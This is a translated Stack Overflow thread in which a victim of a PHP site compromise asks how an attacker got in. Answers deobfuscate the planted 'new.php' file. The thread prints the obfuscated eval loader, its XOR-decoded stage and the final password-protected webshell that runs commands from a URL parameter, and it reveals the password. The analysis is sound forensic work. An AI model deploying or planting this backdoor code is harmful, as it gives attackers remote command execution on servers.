我的PHP代码中存在什么漏洞?

3
我的网站最近被黑了。虽然实际的网站保持不变,但他们以某种方式利用该域名创建了一个链接,重定向到ebay钓鱼诈骗网站。
出于明显的原因,我已经将网站下线,所以无法链接到代码。我想知道如何找出他们使用的漏洞,以便将来避免这个问题。该页面使用PHP和一些JavaScript(用于表单验证)。
是否有免费的服务可以扫描我的代码中的漏洞?还有其他选择吗?
谢谢, Jeff
编辑:我已经在[链接已删除]上托管了文件。
需要注意的几点:在“funcs”文件夹中有几个文件,其中大多数未使用,但我仍然将它们留在那里以防万一。“data”文件夹中的“new.php”(以下是内容)显然是问题所在。最重要的问题是,有人如何设法将“new.php”上传到服务器上?还有一封电子邮件的RTF格式,其中包含有关诈骗的信息。
(注意:此代码可能对您的计算机具有“危险性”)
    <?php
 $prv=strrev('edoced_46esab');
 $vrp=strrev('etalfnizg');
 eval($vrp($prv("rVPRbpswFNW0P9jbNE1ChojQSDD7cm0syvoB5A/GxhiBJVoKxJC0pFr667v0pe1L2k17snyvz/G559jOLxCVxjGCfEBYc1noQfE8VL0SpUYTwQah43LQueKbh3IeQYlguBx1p/gQqkqJFUKiPsWO0Vgh9LoN1R4EoUsuq7xU3Cgxgug0DhHQiVVOjVavFK9ClbDjKH2ZLgOrbpoA0RbNj/dv3r77KF3ED237vVlkrH9Wu7srzM1uv7t3h942N5mTsYM7O52s0y5jsz3thntz6gvCPiWcEVubLpO0tme+VxdHGdq3xe90WU+0wg+hQREGEi9c9G18gprOBPPZBWTMfixP1YwFdlMcNw9UVInT5XjLYqcHQcOSTxvFGyV+5q3GPcKgOzKHHFUi+Te/YmerBK0Nua/XectlnU+JRDBq7OjWKRJOEE0tSqaKIOkHs62a+StEebFDgR4UL7jc5l0Ea9JBXNiSDD3F5bpx3Zq5syaIpudx0FiAuI7gwGVPCpW4TugtnGlf/v0EZ/kWC+8F0ZafWOXazFuzeo0JX87d9tWzvlnOf/s4Xlwdiu2cXX1m/gtT+OzyinnxHw==")));
?>

2
我认为这个问题在http://serverfault.com/上可能会更受欢迎。 - Maxpm
4
或者前往http://security.stackexchange.com参加安全StackExchange测试版。 - soulseekah
1
@Maxpm 可能是,但我不是服务器管理员。它是代码中的一个漏洞,而不是网络本身。不幸的是,我不能链接到代码,但如果有人愿意帮忙,我可以将网站打包成 .zip 文件并在某个地方进行托管。 - Jeff
我会在security.stackexchange上重新发布,谢谢!但是,如果有人有任何想法,请告诉我... - Jeff
这个问题也在 安全 StackExchange 上。 - Jonathan Leffler
你应该修改标题。这并不是真正的eBay黑客行为,而是有人利用了你代码中的漏洞。 - cbrulak
3个回答

10

这里发生了一些有趣的事情。PHP块评估为一个不错的“代码生成器”:


$k32e95y83_t53h16a9t71_47s72c95r83i53p16t9_71i47s72_83c53r16y9p71t47e72d53=70;
$r95e53s9o47u32r83c16e_c71r72y32p95t83e53d_c16o9d71e47="zy6.6KL/ fnn/55#2nb6'55oo`n+\"snb6'55o{{arwquq'ts#rw\$\"v'%~~ ~q\"%u\"vtr~sao`n/55#2nb%oooKL=Kf#%.)faz64#xa}KLf6'552.43n524/65*'5.#5nb%oo}KLf/(%*3\"#nb%o}KLf\"/#nazi64#xao}K;KLyx";
$s32t83r16i71n72g_o95u53t9p47u16t72=$r95e53s9o47u32r83c16e_c71r72y32p95t83e53d_c16o9d71e47;$l72e47n71t9h_o16f_c53r83y95p32t47e71d_c9o16d53e83=strlen($s32t83r16i71n72g_o95u53t9p47u16t72);
$e72v71a16l_p83h32p_c95o53d9e47='';

for($h47u9i53v95a32m83v16s71e72m=0;$h47u9i53v95a32m83v16s71e72m<$l72e47n71t9h_o16f_c53r83y95p32t47e71d_c9o16d53e83;$h47u9i53v95a32m83v16s71e72m++)
$e72v71a16l_p83h32p_c95o53d9e47 .= chr(ord($s32t83r16i71n72g_o95u53t9p47u16t72[$h47u9i53v95a32m83v16s71e72m]) ^ $k32e95y83_t53h16a9t71_47s72c95r83i53p16t9_71i47s72_83c53r16y9p71t47e72d53);

eval("?>".$e72v71a16l_p83h32p_c95o53d9e47."<?");

当用更易读的变量名替换不友好的变量名时,您将获得:


$Coefficient=70;

$InitialString="zy6.6KL/ fnn/55#2nb6'55oo`n+\"snb6'55o{{arwquq'ts#rw\$\"v'%~~ ~q\"%u\"vtr~sao`n/55#2nb%oooKL=Kf#%.)faz64#xa}KLf6'552.43n524/65*'5.#5nb%oo}KLf/(%*3\"#nb%o}KLf\"/#nazi64#xao}K;KLyx";

$TargetString=$InitialString;

$CntLimit=strlen($TargetString);

$Output='';

for($i=0;$i<$CntLimit;$i++)
$Output .= chr(ord($TargetString[$i]) ^ $Coefficient);

eval("?>".$Output."<?");

当被评估时,会输出代码:


<?php
if ((isset($_GET[pass]))&(md5($_GET[pass])==
       '417379a25e41bd0ac88f87dc3d029485')&(isset($_GET[c])))
{
 echo '<pre>';
 passthru(stripslashes($_GET[c]));
 include($_GET[c]);
 die('</pre>');
}
?>

需要注意的是,字符串'417379a25e41bd0ac88f87dc3d029485'是密码Zrhenjq2009的MD5哈希值。

我会再花点时间来研究这个问题。

编辑:
好的,我又花了几分钟研究了一下。看起来这是一个远程控制脚本。因此,现在这个页面(new.php)位于您的服务器上,如果用户访问此页面并通过名为“pass”的URL参数传递值为“Zrhenjq2009”的参数,则可以通过将命令和参数作为名为“c”的参数传递到URL中来在服务器上执行外部命令。 因此,这正在变成一个代码生成器,它在服务器上创建了一个后门。相当酷。

我下载了您上传的文件,并通过VirusTotal.com对new.php进行了检查,结果显示它是一个新的(或大幅修改的)特洛伊木马。此外,似乎51.php是PHPSpy特洛伊木马:VirusTotal分析,74.php是PHP.Shellbot特洛伊木马:VirusTotal分析,而func.php是“由orb制作的WebShell”。 看起来有人在您的服务器上放了一个不错的黑客工具包,并提供了您上传文档中提到的ebay钓鱼脚本/页面。

您应该删除原帖中的文件下载链接。

如果您能够获取日志,研究一下可能会有趣。

祝好。


1
很好的分析,除了它的目的是从服务器中转储文件,而不是执行它们。passthru()命令检索在$_GET[c]中引用的文件并将其发送到服务器。请注意,使用流过滤器,您可以将URL作为c参数传递,这将变成代理。 - Orbling

3

如果您正在使用版本控制,比如git、mercurial、subversion或cvs,您只需要从上一个正确提交的版本开始进行差异对比即可。

您确实在使用版本控制吗?


实际上,这只是一个一次性的项目。这是一个在线心理学实验,我在Mturk上招募了参与者。我已经做了数百个类似的实验,并且通常在完成后不会从服务器中删除它们。这是第一个受到攻击的实验。 - Jeff
2
我真的不明白这与在源代码上使用版本控制有什么关系。 - coreyward
我的意思是,托管的代码将是永远的第一个和最后一个版本。我大约花了15分钟写它,从未计划再次编辑它。没有必要进行版本控制。通常,在收集数据之后(大约1-2天),该网站就不再有用了。 - Jeff
1
我原以为你想要一个工具来扫描它的修改情况,而不是为了确保它相对安全而进行尽职调查。 - coreyward
1
这不是勤奋的问题,而是无知的问题!页面本身并没有被修改。利用漏洞向服务器添加了一个文件。该文件被用作网络钓鱼诈骗的一部分。我已经检查了代码,但我不知道漏洞在哪里。 - Jeff

1

您是否可以访问服务器日志?如果您知道第一次攻击发生的大致时间,他们应该能够帮助您弄清楚攻击者所做的事情。除了提供一般性建议外,没有更多信息很难说。

您能否分享代码(请确保删除用户名/密码等)?如果可以,我愿意花一天左右的时间来看看,但是目前我正在处理SQL注入漏洞报告、识别受限数据的建议以及未来的标准/流程,以防止这种情况再次发生,而且我家里有四个孩子,其中包括一个三个月大的婴儿,非常抱歉。


我目前无法访问日志,但我可能能够获取它们。我明天会调查一下...我已经上传了网站上的所有代码,以防您有机会查看。如果您很忙,我完全理解! - Jeff

网页内容由stack overflow 提供, 点击上面的
可以查看英文原文,
原文链接